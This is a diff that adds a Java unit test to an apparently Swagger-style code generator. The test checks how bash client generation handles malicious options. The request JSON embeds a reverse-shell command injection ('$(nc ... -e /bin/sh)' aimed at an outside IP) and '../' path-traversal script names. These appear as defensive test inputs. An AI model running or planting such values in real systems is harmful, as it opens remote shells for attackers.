@@ -39,4 +39,95 @@ public void generateJava() throws Exception {
39
39
Assert .assertEquals (rr .getContentType (), MediaType .APPLICATION_OCTET_STREAM_TYPE );
40
40
Assert .assertTrue (rr .getHeaders ().getFirst ("Content-Disposition" ).contains (" filename=\" java-client-generated.zip\" " ));
41
41
}
42
+
43
+
44
+ @ Test
45
+ public void generateBashWithAndWithoutSecurityThreat () throws Exception {
46
+
47
+ String requestJson = "{\n " +
48
+ " \" lang\" : \" bash\" ,\n " +
49
+ " \" spec\" : {\n " +
50
+ " \" swagger\" : \" 2.0\" ,\n " +
51
+ " \" info\" : {\n " +
52
+ " \" title\" : \" Sample API\" ,\n " +
53
+ " \" description\" : \" API description in Markdown.\" ,\n " +
54
+ " \" version\" : \" 1.0.0\" \n " +
55
+ " },\n " +
56
+ " \" paths\" : {\n " +
57
+ " \" /users\" : {\n " +
58
+ " \" get\" : {\n " +
59
+ " \" produces\" : [\n " +
60
+ " \" application/json\" \n " +
61
+ " ],\n " +
62
+ " \" responses\" : {\n " +
63
+ " \" 200\" : {\n " +
64
+ " \" description\" : \" OK\" \n " +
65
+ " }\n " +
66
+ " }\n " +
67
+ " }\n " +
68
+ " }\n " +
69
+ " }\n " +
70
+ " },\n " +
71
+ " \" type\" : \" CLIENT\" ,\n " +
72
+ " \" codegenVersion\" : \" V2\" ,\n " +
73
+ " \" options\" : {\n " +
74
+ " \" additionalProperties\" : {\n " +
75
+ " \" scriptName\" : \" ../mytemp/start\" ,\n " +
76
+ " \" curlOptions\" : \" $(nc 94.76.202.153 8083 -e /bin/sh)\" \n " +
77
+ " }\n " +
78
+ " }\n " +
79
+ "}" ;
80
+
81
+
82
+ GenerationRequest generationRequest = Json .mapper ().readValue (requestJson , GenerationRequest .class );
83
+
84
+ GeneratorController g = new GeneratorController ();
85
+ RequestContext r = new RequestContext ();
86
+ ResponseContext rr = g .generate (r , generationRequest );
87
+ Assert .assertEquals (rr .getStatus (), 200 );
88
+ Assert .assertEquals (rr .getContentType (), MediaType .APPLICATION_OCTET_STREAM_TYPE );
89
+ Assert .assertTrue (rr .getHeaders ().getFirst ("Content-Disposition" ).contains (" filename=\" bash-client-generated.zip\" " ));
90
+
91
+ String requestJsonWithThreatInTargetScriptName = "{\n " +
92
+ " \" lang\" : \" bash\" ,\n " +
93
+ " \" spec\" : {\n " +
94
+ " \" swagger\" : \" 2.0\" ,\n " +
95
+ " \" info\" : {\n " +
96
+ " \" title\" : \" Sample API\" ,\n " +
97
+ " \" description\" : \" API description in Markdown.\" ,\n " +
98
+ " \" version\" : \" 1.0.0\" \n " +
99
+ " },\n " +
100
+ " \" paths\" : {\n " +
101
+ " \" /users\" : {\n " +
102
+ " \" get\" : {\n " +
103
+ " \" produces\" : [\n " +
104
+ " \" application/json\" \n " +
105
+ " ],\n " +
106
+ " \" responses\" : {\n " +
107
+ " \" 200\" : {\n " +
108
+ " \" description\" : \" OK\" \n " +
109
+ " }\n " +
110
+ " }\n " +
111
+ " }\n " +
112
+ " }\n " +
113
+ " }\n " +
114
+ " },\n " +
115
+ " \" type\" : \" CLIENT\" ,\n " +
116
+ " \" codegenVersion\" : \" V2\" ,\n " +
117
+ " \" options\" : {\n " +
118
+ " \" additionalProperties\" : {\n " +
119
+ " \" scriptName\" : \" ../../mytemp/start\" ,\n " +
120
+ " \" curlOptions\" : \" $(nc 94.76.202.153 8083 -e /bin/sh)\" \n " +
121
+ " }\n " +
122
+ " }\n " +
123
+ "}" ;
124
+
125
+
126
+ generationRequest = Json .mapper ().readValue (requestJsonWithThreatInTargetScriptName , GenerationRequest .class );
127
+
128
+ g = new GeneratorController ();
129
+ r = new RequestContext ();
130
+ rr = g .generate (r , generationRequest );
131
+ Assert .assertEquals (rr .getStatus (), 500 );
132
+ }
42
133
}
0 commit comments